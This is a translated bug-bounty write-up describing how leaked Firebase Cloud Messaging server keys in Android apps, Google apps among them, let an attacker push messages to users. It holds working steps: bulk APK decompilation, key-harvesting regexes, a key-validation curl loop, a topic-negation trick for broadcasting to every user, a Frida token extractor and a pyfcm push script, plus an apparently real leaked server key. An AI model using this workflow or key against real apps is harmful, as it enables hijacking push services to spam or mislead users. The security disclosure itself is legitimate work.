作者通过对多个应用内置的Firebase云消息传递服务(FCM)进行研究,发现某些应用中的FCM服务存在密钥凭据泄露漏洞,攻击者可用此劫持接管APP应用程序中的FCM服务,控制FCM服务的推送消息内容、获取其FCM服务密钥凭据,或向注册了应用的任意用户发送推送消息。可在用户推送消息中包含进入不良图片、带政治倾向或恶意贬低造谣内容等任意内容信息。作者向谷歌等多个公司上报了该漏洞后,获得了多达30k$的奖励,我们一起来看看具体的漏洞发现过程。
Firebase云消息传递(Firebase Cloud Messaging,简称FCM),也称Firebase云信息传递,前身为Google云消息传递,是一项免费且跨平台的网络应用消息与通知推送解决方案。Google于2014年10月收购Firebase后,整合Firebase云消息为新版Google云消息服务。
从众多APK入手
在读了一大堆安卓安全分析的文章后,我决定从安卓APP中的密钥凭据入手。这就要求以逆向工程为主,并熟悉其中包含密钥信息的strings.xml和.smali类文件。
之后,我从Hackerone 和 Bugcrowd平台的众测项目中下载了大量APK,并打算用apktool.jar执行以下脚本,对它们进行批量逆向分析。
#!/bin/bash for file in *.apk do java -jar ~/APK_Research/apktool.jar d $file -o decompiled_apks/$file/ done
找寻关键字
针对上述批量化的逆向结果,我综合运用gf和Zile工具,并挂上了我的vps,进行了一晚上的自动化关键字查找,第二天一大早我发现结果并不如我意。跑出结果多是一些公开的SDK key和一些有限范围的API key。
我认真查看了其中包含google cloud project(GCP)的API key,这通常会涉及到Google Maps 或 Google Crash Reporting等无关紧要的API。 但是,其中的GCP key可能会应用到多种不同API场景,并可具备不同等级的权限应用。因此我着重筛选出了以下与Google应用相关带特殊关键字的APK逆向信息:
apk-1/AndroidManifest.xml: <meta-data android:name="server_key" android:value="AIzaSyB[REDACTED]"/> apk-3/trx.smali: const-string v1, "AIzaSyQ[REDACTED]" apk-5/AndroidManifest.xml: <meta-data android:name="com.google.android.geo.API_KEY" android:value="AIzaSy[REDACTED]"/> apk-8/res/values/strings.xml: <string name="google_maps_geocoder_key">AIzaSyl[REDACTED]</string> apk-2/res/values/strings.xml: <string name="notification_server_key">AIzaSyl[REDACTED]</string> apk-4/AndroidManifest.xml: <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="AIzaSy[REDACTED]"/>
从这些内容中,我再以以下关键字进行一遍筛选:
google_maps_geocoder_key, notification_server_key, google_notification_key, app_api_key, googlePlacesWebApi, server_key … etc
这其中server_key和notification_server_key引起了我的注意,以此为线索,我发现它们是Firebase Cloud Messaging(FCM)消息服务。
阅读说明文档
经过对Firebase Cloud Messaging的一番了解后,我明白:
1、FCM后台服务器负责对推送消息的授权和分发;
2、客户端FCM SDK负责对特定设备中用户网络身份token的生成。
基于此,从上述包含 AizaSy 的API KEY逆向结果来看,我现在手上的server_key和notification_server_key可能是FCM服务端或客户端SDK环境中的密钥,而且它们是被公开泄露的。
之后,我又深入读了FCM服务端环境“由使用旧版 HTTP 改为使用 HTTP v1”的文章,该篇文章表明在服务器API环境中,推荐从旧版HTTP协议改为使用 HTTP v1。其中在”更新发送请求的授权”章节中还提到了AizaSy Key以服务器授权凭据的使用。
从中可以看出,在旧版的HTTP协议中,AizaSy Key被服务器用作发送请求的授权凭据,也就是说旧版HTTP协议中用它来授权选择需要推送的消息内容。接着,我又从FCM说明文档中发现了curl命令方式的密钥验证代码:
api_key=YOUR_SERVER_KEY curl --header "Authorization: key=$api_key" \ --header Content-Type:"application/json" \ https://fcm.googleapis.com/fcm/send \ -d "{\"registration_ids\":[\"ABC\"]}"
综合来看,以下即是FCM服务架构的大概框架:
发现Key信息
读了FCM说明文档”向 HTTP 请求提供授权“后,我立马转到FCM主页进行了项目创建,并尝试从中发现FCM用作服务器密钥的AizaSy key,但我又发现了另外一个密钥凭据,它是FCM项目设置里的服务器密钥:
服务器密钥有以下特点:
1、它的格式为AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
2、旧版FCM服务器密钥格式为AIzaSy[0-9A-Za-z_-]{33}
3、带FCM权限的GCP key(网络API密钥)格式也是AIzaSy[0-9A-Za-z_-]{33}
由于旧版的服务器密钥已经被停用,所以任何新建Firebase项目不再包含:
也就是说,虽然不用了,但如果有,它们依然有效!因此,我又在我的apk逆向结果数据中用以下脚本进行了一番查找:
{ "flags": "-oEarHn", "patterns": [ "AIzaSy[0-9A-Za-z_-]{33}", "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}" ] }
然后用以下脚本把FCM key结果抓取到一个文件中:
#!/bin/bash while read -r key do code=`curl --header "Authorization: key=$key" --header Content-Type:"application/json" -s -o /dev/null -w "%{http_code}" -d "{\"registration_ids\":[\"ABC\"]}" 'https://fcm.googleapis.com/fcm/send'` if [ "$code" == "200" ] then echo "[*] Key is $key" echo "$key" >> valid_keys.txt fi #gcp_keys.txt has the all the grepped keys, both AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140} and AIzaSy[0-9A-Za-z_-]{33} done<"/gcp_keys.txt" #eliminate duplicates sort -u -o valid_keys.txt valid_keys.txt echo "DONE!"
出乎意外的是,最后我发现在众测项目范围内,竟然有50多个APK存在FCM key。
漏洞隐患证明
至此,我大概明白了各种验证key的作用和机制,但也有一些疑问待解:
1、我如何来证明这种泄露key的隐患?
2、怎样才能搞出个POC来证明实际危害?
3、能否利用如images/gifs的富媒体推送通知?
现在我只知道了“What”,而不能做到“How”。之后,“广播”(broadcast)这个词浮现在我的脑海中,多用户才是证明漏洞危害的最佳体现。
我阅读了”Android 上的主题消息传递“一文,其中讲述了FCM服务可以利用注册令牌组的方式一次性向多台设备发送特定主题消息。我觉得这符合我的POC证明要求。
在该主题消息服务中,服务端可以对主题消息进行一些属性定义,比如,运用FCM服务的应用可以定义名为”news”的消息主题,并向对该主题感兴趣的订阅用户分组进行一次性消息推送。主题消息服务的流程如下:
但是,这种主题消息推送服务还存在一些附加条件,如作为客户端的应用程序需要用户订阅相应主题,或者服务端的FCM Admin SDK环境有订阅设置。因此,为了获取主题名称,我想到了两种方法:
1、在客户端代码中获取关键字:subscribeToTopic(;。该函数功能即用来获取主题名称,如subscribeToTopic(“weather”),但我尝试后却不起效,那就有可能是服务端存在相关设置。于是我想到了方法2;
2、服务端主题名称枚举。假设用户订阅了某个主题,那我就可以用以下POST请求去字典枚举正确的主题名称:
POST https://fcm.googleapis.com/fcm/send HTTP/1.1 Content-Type: application/json Authorization: Key=AizaSy { "message":{ "topic" : "<TOPIC-NAME>", "notification" : { "body" : "This is a Firebase Cloud Messaging Topic Message!", "title" : "FCM Message" } } }
假设主题名称是[a-zA-Z0-9-_.~%]的任意字母数字符号组合形式,那么也会产生很大的工作量。
注意:用户订阅某个主题并不一定会得到相应通知,也不需要客户端或服务器端的主题消息管理,用户订阅必须先注册到 FCM,然后才能进行消息传送。下面是客户端应用程序注册到FCM后端时的流程:
客户端应用联系 FCM 以获取注册令牌,并将发件人 ID、API 密钥和应用 ID 传递到 FCM;FCM 将注册令牌返回到客户端应用;客户端应用(可选)将注册令牌转发到应用服务器。
用逻辑非表达式构造广播消息
根据FCM说明文档”构建发送请求“所述,创建一个主题后,可以通过两种方法向主题发送消息:一是在客户端为客户端应用实例订阅该主题,二是通过服务器 API。如需向主题组合发送消息,需指定一个目标主题的布尔表达式条件。例如,如需向已订阅 TopicA 和 TopicB 或 TopicC 的用户设备发送消息,设置如下条件:
“‘TopicA’ in topics && (‘TopicB’ in topics || ‘TopicC’ in topics)”
也就是说,在FCM后端的可以设置与(&&)或(||)非(!)三种逻辑为订阅用户设置动态的主题消息发送条件,因此,我们可以利用这点设置条件让每位用户都保持逻辑真!比如,FCM原来的主题消息发送条件为:
Condition:
“‘TopicA’ in topics && (‘TopicB’ in topics || ‘TopicC’ in topics)”
解释为:
对用户 X,
检查他是否订阅了主题A或主题B或主题C;
如果有其中一个订阅,则可以接收主题消息。
注意,这里我们必须知道主题名称(topic name)来设置上述条件。那既然如此,我们就可以用逻辑非(!)结合一个随机主题名称,实现非啥为真的条件,而无需操心用户的主题订阅名称,以此来向用户推送消息。比如我们以随机的xyz4356545为一个主题订阅名称设置上述条件:
Condition:
“!(‘xyz4356545’ in topics)”
解释为:
对用户 X,
检查主题’xyz4356545’是否在其订阅范围?
由于’xyz4356545’为一个随机主题,因此(‘xyz4356545’ in topics)肯定是False;
配合逻辑非”!”,把(‘xyz4356545’ in topics) 转化为 !(‘xyz4356545’ in topics);
就对每个用户实现了永真条件的主题消息发送。
这样一来,我们就能保证让每个用户都能接收到消息推送,对每位注册了应用程序的用户真正实现了广播消息推送,我开始尝试制作合适的POC准备向相关众测平台进行上报。
构造POC
我把该漏洞分享给了朋友streaak和martinbydefault,在他们的帮助下,我又做了进一步的完善,但仅只是问题描述,没有给出详细的POC证明过程。
众测平台对于漏洞上报非常看重POC,因此,在我把这个漏洞问题进行上报之后,这种没有实际威胁证明的问题,最后大多厂商的回应类似“感谢你对该密钥凭据问题的上报,我们确认其属于我们主流应用项目,还望你勿做进一步的测试尝试”。但也有例外公司,如下面这家就是,他们快速地确认了问题,并及时地支付了漏洞赏金。
该公司还自己依据该问题进行了POC验证:
从他们的验证过程来看,可以自己向自己的设备发送一个推送。为此,我需要从客户端应用中找到由FCM SDK生成的网络身份token(IID token)。这篇文章介绍了从客户端IID Token中获取服务实例元数据信息的方法,我可用该种方法来证明FCM key与客户端应用之间的关系,最终证明FCM key确实针对应用程序起到了授权作用。对https://iid.googleapis.com/iid/info/IID_TOKEN发起请求后,我得到了以下响应信息:
{“applicationVersion”:”57018″,”application”:”com.org.app”,”scope”:”*”,”authorizedEntity”:”838826245449″,”appSigner”:”1c70bd0334ba2d71bdff6e501b30db0328bc5c14″,”platform”:”ANDROID”}
其中的com.org.app是客户端应用的package id,所以,上述响应表明了属于目标应用的详细密钥凭据信息。那接下来就是构造自己向自己发送推送的POC了,我用到了以下代码:
api_key=YOUR_SERVER_KEY curl --header "Authorization: key=$api_key" \ --header Content-Type:"application/json" \ https://fcm.googleapis.com/fcm/send \ -d "{\"registration_ids\":[\"IID TOKEN A.K.A Registration token goes here\"]}"
其中,只需用从客户端应用中获取的IID token代替registration_ids即可。
用Frida针对谷歌APP进行测试
在此之前,由于我认为谷歌的产品非常安全,所以从没对谷歌应用做过深入测试。但在我完成POC之后,我想到了几个测试点子。
第一是尝试对.smali文件代码进行编辑,在onCreate()函数中植入 Log()方法以读取生成的FCM IID token信息。虽然在.smali文件中无导入功能,但也不无可能。最终我往onCreate()函数中植入了以下代码命令:
const-string v1, “FCM Device Token” invoke-static {v1, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I move-result v1
这就是一个简单的Log声明,但最终经多次尝试和重打包测试之后依然不能有效让Log()方法奏效。
之后,我打算继续深入研究smali的编辑注册功能,但与朋友Yash Sodha的沟通后,我们打算以Google APP为实例应用入手,验证以上构思的实际有效性。
在经过对谷歌各种应用APP的下载测试和逆向分析之后,我们发现还有大量类似的密钥凭据key曝露在客户端应用程序之中。我们打算用Frida来进行深入的动态分析测试。另外可以参考这篇APK逆向文章:https://yasoob.me/posts/reverse-engineering-android-apps-apktool/
劫持Google Play Music的FCM服务以影响数十亿用户
我们在Google Play Music的APP应用的.smali逆向代码中发现了一长串的FCM server key:
./smali_classes2/com/google/android/music/firebase/FirebaseAppFactory.smali:35: const-string v1, "AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL"
利用Frida, 我构思了以下思路对相关关键点进行了深入研究:
1、逆向APK,然后用JADX GUI查看源码;
2、在FCM实例id导入字串“import com.google.firebase.iid.FirebaseInstanceId;”查找相关的classes文件;classes文件中可能会包含调用SDK或返回IID token的方法函数;
3、找寻与IID token相关的方法函数。
在Google Play music中,经过对“import com.google.firebase.iid.FirebaseInstanceId;”的查找,我又发现了另一个字串“com.google.android.music.sync.google.gcm.FcmRegistrationHandler”:
在其中的classes文件中我找到了函数getFcmIidToken(),以下是其具体定义:
private String getFcmIidToken() throws FcmRegistrationException { Task<InstanceIdResult> instanceId = this.firebaseInstanceId.getInstanceId(); try { Tasks.await(instanceId); if (!instanceId.isComplete() || !instanceId.isSuccessful()) { throw new FcmRegistrationException("Cannot get iid."); } InstanceIdResult result = instanceId.getResult(); if (instanceId.isSuccessful()) { Log.d("MusicGcmRegistration", "FCM registration was successful."); return result.getToken(); } throw new FcmRegistrationException("Not saving FCM token, does not exist.", instanceId.getException()); } catch (InterruptedException | ExecutionException e) { throw new FcmRegistrationException("Error getting iid", e); } }
上述代码中中有return result.getToken();,可以看出,如果instanceId.isSuccessful()为真,该方法可以返回注册实例的FCM IID token。
result.getToken() 其实也就是 this.firebaseInstanceId.getInstanceId().getResult().getToken(),之后我编写了Frida脚本getFCM.js来获取上述getFcmIidToken()函数中返回信息: Java.perform(function () { console.log("Tracing getFcmIidToken under class com.google.android.music.sync.google.gcm.FcmRegistrationHandler"); // As the method getFcmIidToken() is non-static, it needs to be invoked by an instance of the class. // Hence the use of Java.choose() Java.choose("com.google.android.music.sync.google.gcm.FcmRegistrationHandler", { onMatch: function (inst) { console.log("Instance Found "+inst.toString()); var ret_val = inst.getFcmIidToken(); console.log("FCM IID token is "+ret_val); } }); console.log("Done"); });
然后在Frida下针对Google Play Music APP运行该脚本:
frida -U -l C:\Users\user\Desktop\getFCM.js -f com.google.android.music –no-pause
然后成功得到了 IID token :
好了一切搞定!为了做成有威胁证明的POC过程,我们做了:
1、用curl方式获取了服务端实例元数据:
curl -X GET –header “Authorization: key=AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL” –header “Content-Type:application/json” https://iid.googleapis.com/iid/info/fgis_9yyD_c:APA91bEilQI1ncoYlYpF-AIUQvQdymi7iSaXDX2Tuv3rhpo3PDoawCHhzmdFjahXsltRuYxPb7vL2YReVOR4fCMcir76rFsKLfer4abpq8_KdRzGHf1exz0GJU4APTOadqvU5x9vv1os?details=true
响应为:
{“applicationVersion”:”84291″,”application”:”com.google.android.music”,”scope”:”*”,”authorizedEntity”:”241337957434″,”appSigner”:”38918a453d07199354f8b19af05ec6562ced5788″,”platform”:”ANDROID”}
注意,每个firebase项目中的authorizedEntity属性都是不一样的。好了,有了这些信息就可以成功通过Google Play Music App的验证授权了!在最终的POC文件中,我用到了pyfcm形式的python脚本:
$ python3 fcm_send_selfnotif.py -sk <server_key_found> -iid <iid_token_extracted> from pyfcm import FCMNotification import argparse # Input Management ap = argparse.ArgumentParser() ap.add_argument( "-sk", "--serverkey", required=True, help="FCM Server Key found" ) ap.add_argument( "-iid", "--iid", required=True, help="IID Token source from the Client App" ) args = vars(ap.parse_args()) server_key = args["serverkey"] iid = args["iid"] #Authorization push_service = FCMNotification(api_key=server_key) #Notification Payload registration_id = iid message_title = "FCM Hack!" message_body = "By Abhishek Dharani and Yash Sodha" #Building Send Request and Executing it. result = push_service.notify_single_device(registration_id=registration_id, message_title=message_title, message_body=message_body,dry_run=False) print result
最终的推送消息验证效果如下:
劫持Google Hangouts \Youtube Go\Youtube Music的FCM服务影响数十亿用户
经过分析,我们发现APP应用的IID token通常存储通过方法getDefaultSharedPreferences()进行存储,而且这些IID token都是长期有效的,除非在调用onTokenRefresh() 时突然无效。以下是我们发现的一些IID token截图:
有了这些IID token,我们就能创建具体的POC消息推送验证实例了,如下为Google Hangouts, Youtube Music, Youtube Go的三个消息推送POC:
漏洞上报谷歌后,我还入围了谷歌方面Covid-19疫情期间对安全漏洞的资助计划,漏洞被评估定级为P2级,奖金1337美金:
漏洞缓解措施
永远不要把FCM server keys曝露在前端APP应用或其它Github, Gitlab, pastebin等开放资源中。
参考来源:abss.me
来源:freebuf.com 2020-09-09 18:00:53 by: clouds
请登录后发表评论
注册